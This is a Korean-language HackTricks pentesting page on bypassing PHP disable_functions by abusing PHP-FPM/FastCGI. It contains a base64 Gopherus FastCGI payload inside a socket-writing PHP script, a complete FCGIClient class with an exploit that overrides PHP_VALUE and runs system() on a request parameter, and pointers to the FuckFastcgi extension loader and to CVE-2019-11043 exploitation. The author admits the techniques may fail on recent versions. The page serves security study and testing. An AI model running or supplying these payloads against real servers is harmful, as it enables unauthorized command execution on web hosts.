disable_functions bypass - php-fpm/FastCGI

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HackTricks μ§€μ›ν•˜κΈ°

PHP-FPM

PHP-FPM은 ν‘œμ€€ PHP FastCGI에 λŒ€ν•œ μš°μˆ˜ν•œ λŒ€μ•ˆμœΌλ‘œ 제곡되며, 특히 νŠΈλž˜ν”½μ΄ λ§Žμ€ μ›Ήμ‚¬μ΄νŠΈμ— μœ λ¦¬ν•œ κΈ°λŠ₯을 μ œκ³΅ν•©λ‹ˆλ‹€. μ΄λŠ” λ§ˆμŠ€ν„° ν”„λ‘œμ„ΈμŠ€λ₯Ό 톡해 μž‘μ—…μž ν”„λ‘œμ„ΈμŠ€μ˜ 집합을 κ°λ…ν•©λ‹ˆλ‹€. PHP 슀크립트 μš”μ²­μ˜ 경우, μ›Ή μ„œλ²„κ°€ PHP-FPM μ„œλΉ„μŠ€μ— λŒ€ν•œ FastCGI ν”„λ‘μ‹œ 연결을 μ‹œμž‘ν•©λ‹ˆλ‹€. 이 μ„œλΉ„μŠ€λŠ” μ„œλ²„μ˜ λ„€νŠΈμ›Œν¬ 포트 λ˜λŠ” μœ λ‹‰μŠ€ μ†ŒμΌ“μ„ 톡해 μš”μ²­μ„ μˆ˜μ‹ ν•  수 μžˆλŠ” λŠ₯λ ₯을 κ°€μ§€κ³  μžˆμŠ΅λ‹ˆλ‹€.

ν”„λ‘μ‹œ μ—°κ²°μ˜ μ€‘κ°œ 역할에도 λΆˆκ΅¬ν•˜κ³ , PHP-FPM은 μ›Ή μ„œλ²„μ™€ λ™μΌν•œ λ¨Έμ‹ μ—μ„œ μž‘λ™ν•΄μ•Ό ν•©λ‹ˆλ‹€. μ‚¬μš©λ˜λŠ” 연결은 ν”„λ‘μ‹œ κΈ°λ°˜μ΄μ§€λ§Œ, 전톡적인 ν”„λ‘μ‹œ μ—°κ²°κ³ΌλŠ” λ‹€λ¦…λ‹ˆλ‹€. μš”μ²­μ„ μˆ˜μ‹ ν•˜λ©΄ PHP-FPM의 μ‚¬μš© κ°€λŠ₯ν•œ μž‘μ—…μžκ°€ 이λ₯Ό μ²˜λ¦¬ν•˜μ—¬ PHP 슀크립트λ₯Ό μ‹€ν–‰ν•˜κ³  κ²°κ³Όλ₯Ό μ›Ή μ„œλ²„λ‘œ λ‹€μ‹œ μ „λ‹¬ν•©λ‹ˆλ‹€. μž‘μ—…μžκ°€ μš”μ²­ 처리λ₯Ό 마치면, λ‹€μŒ μš”μ²­μ„ μœ„ν•΄ λ‹€μ‹œ μ‚¬μš© κ°€λŠ₯ν•΄μ§‘λ‹ˆλ‹€.

ν•˜μ§€λ§Œ CGI와 FastCGIλŠ” λ¬΄μ—‡μΈκ°€μš”?

CGI

일반적으둜 μ›Ή νŽ˜μ΄μ§€, 파일 및 μ›Ή μ„œλ²„μ—μ„œ λΈŒλΌμš°μ €λ‘œ μ „μ†‘λ˜λŠ” λͺ¨λ“  λ¬Έμ„œλŠ” home/user/public_htmlκ³Ό 같은 νŠΉμ • 곡개 디렉토리에 μ €μž₯λ©λ‹ˆλ‹€. λΈŒλΌμš°μ €κ°€ νŠΉμ • μ½˜ν…μΈ λ₯Ό μš”μ²­ν•˜λ©΄, μ„œλ²„λŠ” 이 디렉토리λ₯Ό ν™•μΈν•˜κ³  ν•„μš”ν•œ νŒŒμΌμ„ λΈŒλΌμš°μ €μ— μ „μ†‘ν•©λ‹ˆλ‹€.

μ„œλ²„μ— CGIκ°€ μ„€μΉ˜λ˜μ–΄ 있으면, νŠΉμ • cgi-bin 디렉토리도 μΆ”κ°€λ©λ‹ˆλ‹€. 예λ₯Ό λ“€μ–΄ home/user/public_html/cgi-binμž…λ‹ˆλ‹€. CGI μŠ€ν¬λ¦½νŠΈλŠ” 이 디렉토리에 μ €μž₯λ©λ‹ˆλ‹€. λ””λ ‰ν† λ¦¬μ˜ 각 νŒŒμΌμ€ μ‹€ν–‰ κ°€λŠ₯ν•œ ν”„λ‘œκ·Έλž¨μœΌλ‘œ μ·¨κΈ‰λ©λ‹ˆλ‹€. λ””λ ‰ν† λ¦¬μ—μ„œ μŠ€ν¬λ¦½νŠΈμ— μ ‘κ·Όν•  λ•Œ, μ„œλ²„λŠ” 파일의 λ‚΄μš©μ„ λΈŒλΌμš°μ €μ— μ „μ†‘ν•˜λŠ” λŒ€μ‹  이 슀크립슀λ₯Ό λ‹΄λ‹Ήν•˜λŠ” μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ— μš”μ²­μ„ λ³΄λƒ…λ‹ˆλ‹€. μž…λ ₯ 데이터 μ²˜λ¦¬κ°€ μ™„λ£Œλ˜λ©΄, μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ€ 좜λ ₯ 데이터λ₯Ό μ›Ή μ„œλ²„μ— μ „μ†‘ν•˜κ³ , μ›Ή μ„œλ²„λŠ” 데이터λ₯Ό HTTP ν΄λΌμ΄μ–ΈνŠΈμ— μ „λ‹¬ν•©λ‹ˆλ‹€.

예λ₯Ό λ“€μ–΄, CGI 슀크립트 http://mysitename.com/cgi-bin/file.pl에 μ ‘κ·Όν•˜λ©΄, μ„œλ²„λŠ” CGIλ₯Ό 톡해 μ μ ˆν•œ Perl μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ„ μ‹€ν–‰ν•©λ‹ˆλ‹€. 슀크립트 μ‹€ν–‰μ—μ„œ μƒμ„±λœ λ°μ΄ν„°λŠ” μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ— μ˜ν•΄ μ›Ή μ„œλ²„λ‘œ μ „μ†‘λ©λ‹ˆλ‹€. 반면, μ„œλ²„λŠ” 데이터λ₯Ό λΈŒλΌμš°μ €λ‘œ μ „μ†‘ν•©λ‹ˆλ‹€. μ„œλ²„μ— CGIκ°€ μ—†μ—ˆλ‹€λ©΄, λΈŒλΌμš°μ €λŠ” .pl 파일 μ½”λ“œλ₯Ό κ·ΈλŒ€λ‘œ ν‘œμ‹œν–ˆμ„ κ²ƒμž…λ‹ˆλ‹€. (μ„€λͺ…은 μ—¬κΈ°μ—μ„œ)

FastCGI

FastCGIλŠ” μƒˆλ‘œμš΄ μ›Ή 기술둜, μ£Όμš” κΈ°λŠ₯은 λ™μΌν•˜μ§€λ§Œ κ°œμ„ λœ CGI λ²„μ „μž…λ‹ˆλ‹€.

FastCGIλ₯Ό κ°œλ°œν•  ν•„μš”μ„±μ€ 웹이 μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ˜ λΉ λ₯Έ 개발과 λ³΅μž‘μ„±μœΌλ‘œ 인해 λ°œμƒν–ˆμœΌλ©°, CGI 기술의 ν™•μž₯μ„± 뢀쑱을 ν•΄κ²°ν•˜κΈ° μœ„ν•΄μ„œμž…λ‹ˆλ‹€. μ΄λŸ¬ν•œ μš”κ΅¬λ₯Ό μΆ©μ‘±ν•˜κΈ° μœ„ν•΄ Open Market은 FastCGI – ν–₯μƒλœ κΈ°λŠ₯을 κ°–μΆ˜ CGI 기술의 κ³ μ„±λŠ₯ 버전을 λ„μž…ν–ˆμŠ΅λ‹ˆλ‹€.

disable_functions bypass

FastCGIλ₯Ό μ•…μš©ν•˜μ—¬ PHP μ½”λ“œλ₯Ό μ‹€ν–‰ν•˜κ³  disable_functions μ œν•œμ„ νšŒν”Όν•  수 μžˆμŠ΅λ‹ˆλ‹€.

Via Gopherus

Caution

μ΅œμ‹  λ²„μ „μ—μ„œ μž‘λ™ν•˜λŠ”μ§€ ν™•μ‹€ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€. ν•œ 번 μ‹œλ„ν–ˆμ§€λ§Œ 아무것도 μ‹€ν–‰λ˜μ§€ μ•Šμ•˜μŠ΅λ‹ˆλ‹€. 이와 κ΄€λ ¨ν•˜μ—¬ 더 λ§Žμ€ 정보가 μžˆλ‹€λ©΄ [PEASS & HackTricks ν…”λ ˆκ·Έλž¨ κ·Έλ£Ή μ—¬κΈ°](https://t.me/peass), λ˜λŠ” νŠΈμœ„ν„° [@carlospolopm](https://twitter.com/hacktricks_live)둜 μ €μ—κ²Œ 연락해 μ£Όμ„Έμš”.**

Gopherusλ₯Ό μ‚¬μš©ν•˜μ—¬ FastCGI λ¦¬μŠ€λ„ˆμ— 전솑할 νŽ˜μ΄λ‘œλ“œλ₯Ό μƒμ„±ν•˜κ³  μž„μ˜μ˜ λͺ…령을 μ‹€ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€:

그런 λ‹€μŒ, URL μΈμ½”λ”©λœ νŽ˜μ΄λ‘œλ“œλ₯Ό κ°€μ Έμ™€μ„œ λ””μ½”λ”©ν•˜κ³  base64둜 λ³€ν™˜ν•©λ‹ˆλ‹€. [예λ₯Ό λ“€μ–΄ 이 cyberchef λ ˆμ‹œν”Όλ₯Ό μ‚¬μš©ν•˜μ—¬](http://icyberchef.com/index.html#recipe=URL_Decode%28%29To_Base64%28’A-Za-z0-9%2B/%3D’%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw). 그런 λ‹€μŒ base64λ₯Ό 이 PHP μ½”λ“œμ— λ³΅μ‚¬ν•˜μ—¬ λΆ™μ—¬λ„£μŠ΅λ‹ˆλ‹€:

<?php
$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));

이 슀크립트λ₯Ό μ—…λ‘œλ“œν•˜κ³  μ ‘κ·Όν•˜λ©΄ μ΅μŠ€ν”Œλ‘œμž‡μ΄ FastCGI둜 μ „μ†‘λ˜κ³  (disable_functions λΉ„ν™œμ„±ν™”) μ§€μ •λœ λͺ…령이 μ‹€ν–‰λ©λ‹ˆλ‹€.

PHP μ΅μŠ€ν”Œλ‘œμž‡

Caution

μ΅œμ‹  λ²„μ „μ—μ„œ μž‘λ™ν•˜λŠ”μ§€ ν™•μ‹€ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€. ν•œ 번 μ‹œλ„ν–ˆμ§€λ§Œ 아무것도 μ‹€ν–‰ν•  수 μ—†μ—ˆμŠ΅λ‹ˆλ‹€. μ‹€μ œλ‘œ FastCGI μ‹€ν–‰μ—μ„œ phpinfo()κ°€ disable_functionsκ°€ λΉ„μ–΄ μžˆλ‹€κ³  ν‘œμ‹œν–ˆμ§€λ§Œ, PHPλŠ” (μ–΄λ–»κ²Œλ“ ) μ—¬μ „νžˆ 이전에 λΉ„ν™œμ„±ν™”λœ ν•¨μˆ˜λ₯Ό μ‹€ν–‰ν•˜λŠ” 것을 λ°©μ§€ν–ˆμŠ΅λ‹ˆλ‹€. 더 λ§Žμ€ 정보가 μžˆλ‹€λ©΄ [PEASS & HackTricks ν…”λ ˆκ·Έλž¨ κ·Έλ£Ή μ—¬κΈ°](https://t.me/peass), λ˜λŠ” νŠΈμœ„ν„° [@carlospolopm](https://twitter.com/hacktricks_live)둜 μ €μ—κ²Œ 연락해 μ£Όμ„Έμš”.

μ—¬κΈ°μ„œ μ½”λ“œ.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

이전 ν•¨μˆ˜λ₯Ό μ‚¬μš©ν•˜λ©΄ system ν•¨μˆ˜λŠ” μ—¬μ „νžˆ λΉ„ν™œμ„±ν™”λ˜μ–΄ μžˆμ§€λ§Œ **phpinfo()**λŠ” **disable_functions**κ°€ λΉ„μ–΄ μžˆμŒμ„ λ³΄μ—¬μ€λ‹ˆλ‹€:

κ·Έλž˜μ„œ, disable_functionsλŠ” php .ini ꡬ성 νŒŒμΌμ„ ν†΅ν•΄μ„œλ§Œ μ„€μ •ν•  수 있으며, PHP_VALUEλŠ” ν•΄λ‹Ή 섀정을 λ¬΄μ‹œν•˜μ§€ μ•Šμ„ 것이라고 μƒκ°ν•©λ‹ˆλ‹€.

FuckFastGCI

이것은 open_basedir와 disable_functionsλ₯Ό μš°νšŒν•˜κΈ° μœ„ν•΄ fastcgi ν”„λ‘œν† μ½œμ„ μ•…μš©ν•˜λŠ” php μŠ€ν¬λ¦½νŠΈμž…λ‹ˆλ‹€.
μ—„κ²©ν•œ disable_functionsλ₯Ό μš°νšŒν•˜μ—¬ RCEλ₯Ό μˆ˜ν–‰ν•˜κΈ° μœ„ν•΄ μ•…μ„± ν™•μž₯을 λ‘œλ“œν•˜λŠ” 데 도움이 될 κ²ƒμž…λ‹ˆλ‹€.
μ—¬κΈ°μ—μ„œ μ ‘κ·Όν•  수 μžˆμŠ΅λ‹ˆλ‹€: https://github.com/w181496/FuckFastcgi λ˜λŠ” μ•½κ°„ μˆ˜μ •λ˜κ³  κ°œμ„ λœ 버전은 μ—¬κΈ°μ—μ„œ 확인할 수 μžˆμŠ΅λ‹ˆλ‹€: https://github.com/BorelEnzo/FuckFastcgi

이 μ΅μŠ€ν”Œλ‘œμž‡μ€ 이전 μ½”λ“œμ™€ 맀우 μœ μ‚¬ν•˜μ§€λ§Œ, PHP_VALUEλ₯Ό μ‚¬μš©ν•˜μ—¬ disable_functionsλ₯Ό μš°νšŒν•˜λ €κ³  μ‹œλ„ν•˜λŠ” λŒ€μ‹ , PHP_ADMIN_VALUE λ³€μˆ˜ λ‚΄μ˜ extension_dir 및 extension λ§€κ°œλ³€μˆ˜λ₯Ό μ‚¬μš©ν•˜μ—¬ μ™ΈλΆ€ PHP λͺ¨λ“ˆμ„ λ‘œλ“œν•˜λ €κ³  ν•©λ‹ˆλ‹€.
NOTE1: μ•„λ§ˆλ„ μ„œλ²„κ°€ μ‚¬μš©ν•˜λŠ” λ™μΌν•œ PHP λ²„μ „μœΌλ‘œ ν™•μž₯을 μž¬μ»΄νŒŒμΌν•΄μ•Ό ν•  κ²ƒμž…λ‹ˆλ‹€ (phpinfo의 좜λ ₯μ—μ„œ 확인할 수 μžˆμŠ΅λ‹ˆλ‹€):

Caution

NOTE2: PHP .ini ꡬ성 νŒŒμΌμ— extension_dir 및 extension 값을 μ‚½μž…ν•˜μ—¬ 이 μž‘μ—…μ„ μˆ˜ν–‰ν•  수 μžˆμ—ˆμŠ΅λ‹ˆλ‹€ (μ„œλ²„λ₯Ό 곡격할 λ•Œ ν•  수 μ—†λŠ” μž‘μ—…μž…λ‹ˆλ‹€). κ·ΈλŸ¬λ‚˜ μ–΄λ–€ 이유둜 인해 이 μ΅μŠ€ν”Œλ‘œμž‡μ„ μ‚¬μš©ν•˜κ³  PHP_ADMIN_VALUE λ³€μˆ˜μ—μ„œ ν™•μž₯을 λ‘œλ“œν•  λ•Œ ν”„λ‘œμ„ΈμŠ€κ°€ μ€‘λ‹¨λ˜μ—ˆμœΌλ―€λ‘œ 이 기술이 μ—¬μ „νžˆ μœ νš¨ν•œμ§€ λͺ¨λ₯΄κ² μŠ΅λ‹ˆλ‹€.

PHP-FPM 원격 μ½”λ“œ μ‹€ν–‰ 취약점 (CVE-2019–11043)

이 취약점은 phuip-fpizdam으둜 μ•…μš©ν•  수 있으며, 이 도컀 ν™˜κ²½μ„ μ‚¬μš©ν•˜μ—¬ ν…ŒμŠ€νŠΈν•  수 μžˆμŠ΅λ‹ˆλ‹€: https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043.
취약점 뢄석은 μ—¬κΈ°μ—μ„œ 찾을 수 μžˆμŠ΅λ‹ˆλ‹€.

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

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